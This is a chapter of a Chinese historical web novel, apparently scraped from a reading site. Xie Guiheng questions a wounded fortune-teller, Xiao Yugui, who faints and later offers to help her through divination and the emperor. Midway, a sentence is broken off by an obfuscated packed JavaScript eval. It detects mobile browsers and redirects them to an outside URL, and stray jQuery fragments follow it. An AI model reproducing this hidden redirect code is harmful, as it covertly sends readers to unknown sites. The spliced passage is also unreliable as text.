默认冷灰
24号文字
方正启体

36. 疯子

作者:辰钧本书字数:K更新时间:
    谢归蘅手中刀刃更贴近了肌肤,没一会儿便能隐隐看见血痕。那打手身体僵硬,不敢再有所动作。


    他本不惧身后那女子的威胁,可对面刚刚动作行云流水想必是个练家子,若真是碰上定然是不好对付,为了区区一个二百钱的佣金,得罪了此等人物显示是不值当的。


    男子思索片刻,很识趣地开口道:“成,成,我现在就走,你这匕首可是要拿稳些。”


    他侧起身子,小心挪动着脖颈远离了刃部,临走时还不忘低声威胁下萧雨规:“这次算你走运,赶紧滚蛋!”


    谢归蘅收起了刀,顺着声音看去,见到了多日不见的萧雨规。那人始终埋着头,像是忍着极大的痛苦,但许是刚刚的插曲使得他得了一丝喘息的机会,如今他身体已经不再颤抖,细听着连呼吸都逐渐平稳起来。


    她坐在了他对面的木制座椅上,男子的神态便全部尽收眼底,谢归蘅怔怔看了几秒后,错开了视线,却并未说话。不久后,萧雨规终于不再蜷缩,但身子始终依靠在身后的椅背上,开口说:“小姐要算命?信得过我?”


    “嗯,信不过。”


    谢归蘅声音淡淡的,听不出喜怒。他亲眼见着对面男子不知从哪儿掏出的另一批三文钱,攥在了手里。


    “信不过我的话,小姐想找我算什么?”


    “我姓甚名谁,今日为何来此处。”


    “若是信的过我呢?”


    萧雨规声音始终发着虚,呼吸还是急喘,靠在椅子上歪着身看向她。男子本想冲人笑一下,可唇角刚扯出几分弧度,胸中那咳喘便再也压制不住,排山倒海般翻涌而来。


    他赶忙背过身去,咳了个彻底,声音夹在在周遭不远处小商小贩的吆喝里。


    “若是信的过......”


    谢归蘅眉头下意识一跳,手臂支着桌面稍微向前靠去,顿了下接着说:“我有何目的,又该往何处去?”


    片刻后,萧雨规终于止住了咳嗽,他朝着女子伸出了手。谢归蘅也自然地接住了还带有对面体温的有些温热的铜币。


    她向上一抛,铜板随后掉落在桌面上,有的正有的反。对面那人撑起身子,伤口被扯起带着疼痛,脸色并不轻松地看了过去。他没排盘,亦没细算,只浅观了几下,便又重新依靠过去,开口道:


    “近日京中有人当卖国贼,危害边关战事。你乃府中小女,但却擅跑入京,路途曲折月初才行至于此。”


    谢归蘅脸色微变,眼神变得更难以捉摸,带着些打量看向对面。她明明记得,她不曾吐露过自己先前曾不被允许入京一事......


    女子的神情逐渐严肃起来,接着便听到对面萧雨规接着说道:“只是你入京后却遇到周折,线索极少,可你却也只能如此大海捞针。不过,按照卦象看......”


    “办法已经初有成效,小姐应是已经大致排除了几家氏族勋贵的嫌疑,只是目前却犹豫下一步该如何执棋。”


    他所言不差分毫。


    谢归蘅也迫不得已重新思索起这人的可信度,她错开了和对面对视的视线,盯着面前那正反交错的铜币。片刻,女子重新看向了对面的眸子,问道:


    “那依你来看,这几家中嫌疑最大的是谁?”


    “胡家。”


    萧雨规接得很快,像是早就预想到了谢归蘅会问出这种问题。他声音还是带着很重的气声,细细听来还伴有嘶哑,只是语气却笃定,极其自信。


    没有棚子遮挡住太阳,那光便就这样不加掩饰地打在了谢归蘅的脸上。少了那军营中的狂风燥沙,短短一月那女子的肤色就已经白了大半。阳光透过女子浓密地睫毛,打进了她眼中,随后,被衬着显出金色的眸子转了过来。


    他听到女子一字一字地说道:“......可我不信你,萧雨规。”


    “从咱俩的第一面开始,你就一直是个骗子。”


    阳光没一会儿便变换了方位,如今已经完全将萧雨规的全身包裹住了,但却已经不能缓解萧雨规身上的寒凉。这光实在刺眼,他尽力眯紧双眼却也只能勉强看清楚女子大致的动向。


    他见到谢归蘅言罢,便起身要走。男子有些着急了,赶忙开口叫住了她:“等一下!”


    谢归蘅转身回头,皱紧的眉始终扭在一起,迟迟未分离开。


    刚刚猛然地起身弄得萧雨规一瞬间只觉头晕目眩,便要向前倒去。幸而他借机用手臂撑住了身体,才能堪堪稳住身形。


    “等一下。”


    他又叫了一声,这次头却垂着,眼却闭着:“这次我不会骗你,信我。”


    萧雨规的一句喘了整整三次才终于完整说出。他身形摇晃了几次,但每次都在悬崖勒马边撑住了身体。


    谢归蘅迟迟没有说话,也没有要离开的动静。男子的心略微放下了,他努力抬头喘着粗气看向她,眉头却因头脑混沌而紧紧皱着。


    萧雨规辩不明对面究竟是何意图,于是打算稍微走近些,好避开周遭投来异样目光的行人和商贩,耳语几番说些悄悄话。


    他又缓了半天,终于眼前那一片漆黑消散了些许。男子总算赶在谢归蘅耐心耗尽前迈出了第一步。


    “我是真的会算卦,也是真的没骗你,谢归蘅。先前之事......”


    可还没等他话说完,整个人便又一次毫无预兆地倒在了谢归蘅的脚边。女子眼睛略微睁大,立马俯身探去,试了好一会,才终于感觉到了对面微弱不堪的呼吸。


    萧雨规眼眸紧闭,满头细汗,细看过去,就连唇色都开始发白......


    ——————


    “只是些中暑的小问题,待会儿用冰毛巾擦拭片刻即可,可真正严重的却是他身上那伤,还是需要静养的,切勿让他再随意戏弄自己的身体了。”


    从屋内出来的郎中走近了几分,冲着谢归蘅略微拱手行礼。硕大药箱子被他动作带起,里面的药瓶发出碰撞的响声。


    女子也同样回礼,视线却先瞟向屋内,随后才看向眼前的郎中。听到他接着说:“我刚开了几副药方,待人醒后叫他服下便可。”


    郎中从衣袖中掏出了那页密密麻麻地写满药方的纸,她没仔细看去,只是粗略一打眼便瞧见了一味药。


    三七?


    谢归蘅眉头一皱,露出些不满的神色。心下当即便清楚了这人这两日过分虚弱的原因。她眼神微眯,齿尖咬住了唇。


    女子全然忘记了身边还站了位欲行一步的人,一双眼只紧盯着那张药方。就连子时见状不对将人送走都没注意到。


    齿尖愈来愈用力,眉头皱地也越来越紧。片刻后,舌头尝到了一丝血腥味。


    她也终于回了神。


    身前那屋子的门还未合上,远远望去,能见到床上躺着的人细微的动作,显然是已经醒来了。


    谢归蘅径直走了过去,连门都未敲,身遭气氛有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042693|178846||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些低沉。


    床上的萧雨规听见脚步声,定睛看了过去。这回是真的谢归蘅。


    他想趴起来半靠在窗边,身上手臂却吃不上力气,试了几下后,均已失败告终。见状,男子便又要尝试。


    “行了,你歇着吧。”


    却被人打断。


    谢归蘅走近,将药方甩在了萧雨规的身上。那纸轻飘飘地,在空中漂泊几次,才慢悠悠地躺在了男子的身上。


    他拿起大致看了眼,尽管有物件的遮挡,谢归蘅也能清楚地看出来对面已然有变化的神色。


    “其中几味要断然是不会开给中暑之人的,你到底是什么时候来的京城?”


    女子面色并不算是好看,隐隐还带了层薄怒,她稍微停顿片刻:“别告诉我你来京城只是来算命的,我不是傻子。你究竟什么目的?摆摊算命,又打的是什么算盘?”


    一连串的问题带着这药方砸地他有些发懵,萧雨规的唇关了张张了关,良久后,却突然浅笑了一声。


    “你一下问了这么多问题,想先让我回答哪一个呢?”


    男子还是挣扎地坐了起来,这次倒是成功地依靠在了窗沿之上。只是一套动作下来,连鼻尖都冒出来汗。谢归蘅听见他动作结束后,深深吸了好大一口气,但气流却并不流畅,磕磕绊绊不敢用力。


    “唔......”


    萧雨规组织了下语言,接着说:“大概半月前到京城的吧,细细算去,我也不清楚究竟是几时离开溪子寨的了。”


    “至于我为何来京城算命,是为了找你。毕竟比起脱着病体四处奔波打探消息,接着百姓的口却是更能效率些。”


    男子的声音很轻,静静流淌在这不大的屋中,如同蜿蜒流水。可叫谢归蘅听去,却是百般的不是滋味。


    溪子寨离京城路途遥远,就连自己快马加鞭都大约行了四天。半个月前就已经到京城......那恐怕真正修养的时间也就短短一周的时间。


    真是个疯子。


    来京城是为了找我?


    “找我所为何事?”


    “来助你一臂之力,个中缘由不便多说,你只需知道我不会害你,亦不会骗你,便好。”


    “帮我?靠算命吗?”


    谢归蘅觉得眼前这人有些好笑,明明都已经卧床不起了,竟然还能大言不惭地说出“来助你”这三个字。


    她心中有所微词,自然语气也带着嘲弄,不会好听到哪里去。


    可怎料,眼前萧雨规却自信极了,目光如炬看向了谢归蘅,轻启唇说道:“靠算命,也靠皇上。”


    谢归蘅眼皮一抖,神色有些变了。


    是了,当今圣上嗜赌成性,尤是喜欢算命国运这种稀奇古怪的玄幻之理。


    这是个好方法。


    “你要与虎谋皮?皇上虽好算命,可却喜怒无常,一个不满便会大发雷霆......治你个欺君之罪。”


    “我知道。”


    “你不怕?这可是要砍头的。”


    “怕啊,但打不了就是头点地,又不算是怕。”


    谢归蘅像是重新认识了他,眼神愈发凝重起来,眸中神色难辨。她跟半躺着的萧雨规对视了片刻,随后转身出了门。


    身后响起男子不算响亮的叫喊:“所以合作吗?谢小姐?”


    谢归蘅的脚步一顿,向身后看去:“先养好伤吧......”


    “疯子。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)